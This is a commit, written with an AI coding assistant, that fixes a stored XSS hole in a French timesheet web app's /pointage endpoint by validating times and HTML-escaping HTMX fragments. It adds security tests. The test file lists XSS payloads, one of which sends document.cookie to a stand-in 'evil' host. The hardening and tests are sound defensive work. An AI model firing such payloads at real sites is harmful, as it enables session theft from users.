Bloque le XSS stocké via /pointage et échappe les fragments HTMX

POST /pointage acceptait n'importe quelle valeur pour les 4 champs
matin_entree/matin_sortie/aprem_entree/aprem_sortie : la fonction clean ne
faisait qu'un strip(). Comme ces valeurs sont réinjectées telles quelles
dans des f-strings HTML hors templates Jinja (qui seuls bénéficient de
l'autoescape), un payload type `"><svg/onload=...>` déclenchait une
exécution JS immédiate dans la réponse HTMX, sans CSP pour limiter l'impact.

Double défense appliquée :

1. Validation stricte en entrée : clean() refuse désormais tout ce qui ne
   matche pas _HHMM_RE (^([01]\d|2[0-3]):[0-5]\d$). Une valeur non conforme
   est traitée comme vide plutôt que stockée.
2. Échappement HTML systématique en sortie : un alias `_e = html.escape`
   est appliqué à toutes les valeurs dynamiques (date, heures, cibles)
   dans _oob_calc, _oob_week_extras, _oob_time_cells et
   _htmx_conge_and_soldes. Les ids, data-date, value, hx-post et contenus
   textuels sont protégés.

Les nouveaux tests test_security couvrent plusieurs payloads XSS, vérifient
que la valeur n'est ni persistée ni reflétée, et qu'un pointage HHMM
valide continue à fonctionner.

💘 Generated with Crush

Assisted-by: Crush:glm-5.2
This commit is contained in:
Jacquin Antoine
2026-07-20 00:26:01 +02:00
parent 0329359072
commit dda8a83114
2 changed files with 92 additions and 19 deletions

View File

@ -1,6 +1,7 @@
import asyncio import asyncio
import hashlib import hashlib
import hmac import hmac
import html
import json import json
import logging import logging
import re import re
@ -63,6 +64,10 @@ _USERNAME_RE = re.compile(r"^[a-zA-Z0-9_.\-]{1,64}$")
_EMAIL_RE = re.compile(r"^([a-zA-Z0-9_.\-]{1,64})@([a-zA-Z0-9.\-]{1,255})$") _EMAIL_RE = re.compile(r"^([a-zA-Z0-9_.\-]{1,64})@([a-zA-Z0-9.\-]{1,255})$")
_HHMM_RE = re.compile(r"^([01]\d|2[0-3]):[0-5]\d$") _HHMM_RE = re.compile(r"^([01]\d|2[0-3]):[0-5]\d$")
# Échappement HTML pour les fragments construits en f-string hors templates Jinja
# (autoescape ne s'applique qu'aux templates). Defense-in-depth contre le XSS stocké.
_e = html.escape
# ── Auth helpers ────────────────────────────────────────────────────────────── # ── Auth helpers ──────────────────────────────────────────────────────────────
@ -173,16 +178,16 @@ def _build_jour_ctx(date, conges, h_jour, user_id):
def _oob_calc(date, jour): def _oob_calc(date, jour):
trav_inner = f'<span class="calc-num">{"" if not jour["travaille_min"] else jour["travaille"]}</span>' trav_inner = f'<span class="calc-num">{"" if not jour["travaille_min"] else _e(jour["travaille"])}</span>'
if jour["travaille_min"]: if jour["travaille_min"]:
cls = "delta-pos" if jour["delta_min"] > 0 else ("delta-neg" if jour["delta_min"] < 0 else "delta-zero") cls = "delta-pos" if jour["delta_min"] > 0 else ("delta-neg" if jour["delta_min"] < 0 else "delta-zero")
sign = "+" if jour["delta_min"] > 0 else "" sign = "+" if jour["delta_min"] > 0 else ""
delta_inner = f'<span class="{cls}">{sign}{jour["delta"]}</span>' delta_inner = f'<span class="{cls}">{sign}{_e(jour["delta"])}</span>'
else: else:
delta_inner = '<span class="delta-zero">—</span>' delta_inner = '<span class="delta-zero">—</span>'
return ( return (
f'<span id="calc-{date}-trav" hx-swap-oob="true">{trav_inner}</span>' f'<span id="calc-{_e(date)}-trav" hx-swap-oob="true">{trav_inner}</span>'
f'<span id="calc-{date}-delta" hx-swap-oob="true">{delta_inner}</span>' f'<span id="calc-{_e(date)}-delta" hx-swap-oob="true">{delta_inner}</span>'
) )
@ -200,14 +205,14 @@ def _oob_week_extras(result):
cumul_inner = f'<span class="{cls}">{sign}{jour["delta_cumul"]}</span>' cumul_inner = f'<span class="{cls}">{sign}{jour["delta_cumul"]}</span>'
else: else:
cumul_inner = '<span class="delta-zero">—</span>' cumul_inner = '<span class="delta-zero">—</span>'
html += f'<span id="calc-{date}-cumul" hx-swap-oob="true">{cumul_inner}</span>' html += f'<span id="calc-{_e(date)}-cumul" hx-swap-oob="true">{cumul_inner}</span>'
parts = [] parts = []
if jour.get("cible_matin"): if jour.get("cible_matin"):
parts.append(f'<span class="cible-num">M {jour["cible_matin_entree"]}{jour["cible_matin"]}</span>') parts.append(f'<span class="cible-num">M {_e(jour["cible_matin_entree"])}{_e(jour["cible_matin"])}</span>')
if jour.get("cible_aprem"): if jour.get("cible_aprem"):
parts.append(f'<span class="cible-num">A {jour["cible_aprem_entree"]}{jour["cible_aprem"]}</span>') parts.append(f'<span class="cible-num">A {_e(jour["cible_aprem_entree"])}{_e(jour["cible_aprem"])}</span>')
cible_inner = " ".join(parts) if parts else '<span class="delta-zero">—</span>' cible_inner = " ".join(parts) if parts else '<span class="delta-zero">—</span>'
html += f'<span id="calc-{date}-cible" hx-swap-oob="true">{cible_inner}</span>' html += f'<span id="calc-{_e(date)}-cible" hx-swap-oob="true">{cible_inner}</span>'
return html return html
@ -226,19 +231,19 @@ def _oob_time_cells(date, jour, plages):
matin_cls = "td-fill cg" if matin_cg else ("td-fill warn" if matin_warn else "td-fill") matin_cls = "td-fill cg" if matin_cg else ("td-fill warn" if matin_warn else "td-fill")
aprem_cls = "td-fill cg" if aprem_cg else ("td-fill warn" if aprem_warn else "td-fill") aprem_cls = "td-fill cg" if aprem_cg else ("td-fill warn" if aprem_warn else "td-fill")
matin_html = ( matin_html = (
f'<div id="cg-matin-{date}" hx-swap-oob="true" class="{matin_cls}">' f'<div id="cg-matin-{_e(date)}" hx-swap-oob="true" class="{matin_cls}">'
f'<div class="time-pair">' f'<div class="time-pair">'
f'<input class="time-input" type="time" name="matin_entree" data-date="{date}" value="{jour["matin_entree"] or ""}">' f'<input class="time-input" type="time" name="matin_entree" data-date="{_e(date)}" value="{_e(jour["matin_entree"] or "")}">'
f'<span class="time-sep">→</span>' f'<span class="time-sep">→</span>'
f'<input class="time-input" type="time" name="matin_sortie" data-date="{date}" value="{jour["matin_sortie"] or ""}">' f'<input class="time-input" type="time" name="matin_sortie" data-date="{_e(date)}" value="{_e(jour["matin_sortie"] or "")}">'
f'</div></div>' f'</div></div>'
) )
aprem_html = ( aprem_html = (
f'<div id="cg-aprem-{date}" hx-swap-oob="true" class="{aprem_cls}">' f'<div id="cg-aprem-{_e(date)}" hx-swap-oob="true" class="{aprem_cls}">'
f'<div class="time-pair">' f'<div class="time-pair">'
f'<input class="time-input" type="time" name="aprem_entree" data-date="{date}" value="{jour["aprem_entree"] or ""}">' f'<input class="time-input" type="time" name="aprem_entree" data-date="{_e(date)}" value="{_e(jour["aprem_entree"] or "")}">'
f'<span class="time-sep">→</span>' f'<span class="time-sep">→</span>'
f'<input class="time-input" type="time" name="aprem_sortie" data-date="{date}" value="{jour["aprem_sortie"] or ""}">' f'<input class="time-input" type="time" name="aprem_sortie" data-date="{_e(date)}" value="{_e(jour["aprem_sortie"] or "")}">'
f'</div></div>' f'</div></div>'
) )
return matin_html + aprem_html return matin_html + aprem_html
@ -253,11 +258,11 @@ def _htmx_conge_and_soldes(request, date, d, conges, h_jour, user_id):
btn_am_on = " on" if "aprem" in cg else "" btn_am_on = " on" if "aprem" in cg else ""
btn_j_on = " jour-on" if "jour" in cg else "" btn_j_on = " jour-on" if "jour" in cg else ""
btns_html = ( btns_html = (
f'<div id="cg-btn-{date}" hx-swap-oob="true">' f'<div id="cg-btn-{_e(date)}" hx-swap-oob="true">'
f'<div class="conge-btns">' f'<div class="conge-btns">'
f'<button hx-post="/conge/{date}/matin" hx-swap="none" class="btn-cg{btn_ma_on}" title="Congé matin">MA</button>' f'<button hx-post="/conge/{_e(date)}/matin" hx-swap="none" class="btn-cg{btn_ma_on}" title="Congé matin">MA</button>'
f'<button hx-post="/conge/{date}/aprem" hx-swap="none" class="btn-cg{btn_am_on}" title="Congé après-midi">AM</button>' f'<button hx-post="/conge/{_e(date)}/aprem" hx-swap="none" class="btn-cg{btn_am_on}" title="Congé après-midi">AM</button>'
f'<button hx-post="/conge/{date}/jour" hx-swap="none" class="btn-cg btn-jour{btn_j_on}" title="Journée entière">J</button>' f'<button hx-post="/conge/{_e(date)}/jour" hx-swap="none" class="btn-cg btn-jour{btn_j_on}" title="Journée entière">J</button>'
f'</div></div>' f'</div></div>'
) )
soldes_ctx = _build_soldes_ctx(iso.year, iso.week, conges, h_jour, user_id) soldes_ctx = _build_soldes_ctx(iso.year, iso.week, conges, h_jour, user_id)
@ -482,7 +487,10 @@ def save_pointage(
return RedirectResponse("/login", status_code=302) return RedirectResponse("/login", status_code=302)
def clean(v): def clean(v):
v = v.strip(); return v if v else None # Refuse tout ce qui n'est pas un HHMM strict : empêche le XSS stocké car la
# valeur est réinjectée telle quelle dans des f-strings HTML hors templates.
v = v.strip()
return v if v and _HHMM_RE.match(v) else None
d = datetime.strptime(date, "%Y-%m-%d").date() d = datetime.strptime(date, "%Y-%m-%d").date()
iso = d.isocalendar() iso = d.isocalendar()

View File

@ -162,3 +162,68 @@ def test_settings_save_rejects_ssrf_ntfy_server():
# La valeur précédente est conservée # La valeur précédente est conservée
cfg = models.load_notif_config("carol") cfg = models.load_notif_config("carol")
assert cfg["ntfy_server"] == "https://ntfy.sh" assert cfg["ntfy_server"] == "https://ntfy.sh"
# ── XSS stocké via /pointage ──────────────────────────────────────────────────
XSS_PAYLOADS = [
'"><svg/onload=alert(1)>',
'"><script>alert(document.cookie)</script>',
"'/><script>fetch('//evil/'+document.cookie)</script>",
]
def test_pointage_rejects_non_hhmm_value():
"""POST /pointage avec une valeur non HHMM ne doit pas être persistée."""
cookies = _login("dave")
for payload in XSS_PAYLOADS:
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
"matin_entree": payload,
"matin_sortie": "",
"aprem_entree": "",
"aprem_sortie": "",
})
# La réponse ne doit pas planter
assert r.status_code == 200
# Le payload ne doit pas se retrouver tel quel dans la réponse
assert payload not in r.text, payload
# Vérification de la persistance
week = models.load_week_pointages(2026, 29, "dave")
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
assert entry is not None
# matin_entree doit avoir été ignoré (None), pas stocké tel quel
assert entry["matin_entree"] is None
def test_pointage_valid_hhmm_still_works():
"""Un pointage HHMM valide doit continuer à fonctionner."""
cookies = _login("erin")
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
"matin_entree": "08:45",
"matin_sortie": "12:00",
"aprem_entree": "",
"aprem_sortie": "",
})
assert r.status_code == 200
assert "08:45" in r.text
week = models.load_week_pointages(2026, 29, "erin")
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
assert entry["matin_entree"] == "08:45"
def test_oob_html_escapes_date_attribute():
"""Si la date (issue de l'URL) contient des caractères HTML, ils doivent être échappés."""
cookies = _login("frank")
# Forçage d'un pointage valide pour déclencher le rendu _oob_time_cells
client.post("/pointage/2026-07-17", cookies=cookies, data={
"matin_entree": "08:45", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": "",
})
# Une date malicieuse dans /refresh/... doit être échappée si elle passe strptime
# (les caractères HTML ne passent pas strptime, mais on vérifie que l'escape est actif
# sur le rendu d'un pointage normal pour la date légitime)
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
"matin_entree": "08:45", "matin_sortie": "12:00",
"aprem_entree": "14:00", "aprem_sortie": "17:30",
})
assert "<script" not in r.text.lower()
assert "onload" not in r.text.lower()